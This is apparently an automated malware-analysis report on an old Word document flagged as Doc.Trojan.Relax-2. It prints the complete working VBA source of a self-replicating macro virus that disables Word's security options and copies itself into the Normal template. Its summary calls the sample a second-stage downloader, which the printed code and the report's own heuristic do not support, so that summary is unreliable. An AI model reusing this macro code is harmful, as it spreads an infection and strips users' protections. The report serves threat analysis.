Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1f4bc82385656524…

MALICIOUS

Office (OLE)

30.0 KB Created: 1999-11-26 14:18:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 2c61da3b60d772a92ca76c7a5650f762 SHA-1: d3142f389794e1f17ee7d50f591b76a930e09d0d SHA-256: 1f4bc8238565652418ae64a0c32a95c8e418b722d29a2a8119912e63589d77ac
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic AutoOpen macro and a Document_Open macro, indicating malicious intent. The VBA script attempts to disable security features and writes its own code to a temporary file 'c:\WinIO.dll' before executing it, suggesting it acts as a downloader for a second-stage payload. The ClamAV detection as 'Doc.Trojan.Relax-2' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Relax-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Relax-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2253 bytes
SHA-256: 2810c91d2636d46a58e1d072822a4e399746663e85ea514aa00ce4da999c0201
Detection
ClamAV: Doc.Trojan.Relax-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Baby[Bench] v2.0
Private CountChar_1 As Integer: Private CountChar_2 As Integer
Private Sub Document_Open()
On Error Resume Next
CountChar_1 = ActiveDocument.Characters.Count
Application.Options.ConfirmConversions = False: Application.EnableCancelKey = wdCancelDisabled
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable: FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
CommandBars("Tools").Controls("Macro").Enabled = False
If Application.Version = 9# Then: CommandBars("Macro").Controls("Security...").Enabled = 0
If Application.Version = 8# Then
    With Application.Options: .VirusProtection = False: .SaveNormalPrompt = False: End With
End If
If MacroContainer = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule Else Set Host = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
If MacroContainer = ActiveDocument Then Set Carrier = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule Else Set Carrier = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Open "c:\WinIO.dll" For Output As 1
For x = 1 To Carrier.CountOfLines: Line = Carrier.Lines(x, 1): Print #1, Line: Next x
Close 1
With Host: .Deletelines 1, .CountOfLines: .AddFromFile ("c:\WinIO.dll"): End With
Kill ("c:\WinIO.dll")
If Hour(Now) = 8 And Minute(Now) = 45 Then
   With Assistant.NewBalloon
       .Icon = msoIconAlert
       .Heading = "Baby[Bench] Millenium"
       .Text = "Phew! I'm just about beat." & vbCr & "It's been a long day! You gotta relax sometime!" & vbCr & vbCr & "Wow! Everything's blurry!"
       .Show
   End With
   ActiveDocument.Content.Font.Animation = wdAnimationShimmer
End If
End Sub
Private Sub Document_Close()
On Error Resume Next
CountChar_2 = ActiveDocument.Characters.Count
If Left$(ActiveDocument.Name, 8) = "Document" And CountChar_2 = 0 And CountChar_1 = 0 Then
ActiveDocument.Saved = True
ElseIf CountChar_1 = CountChar_2 Then ActiveDocument.Save
End If
End Sub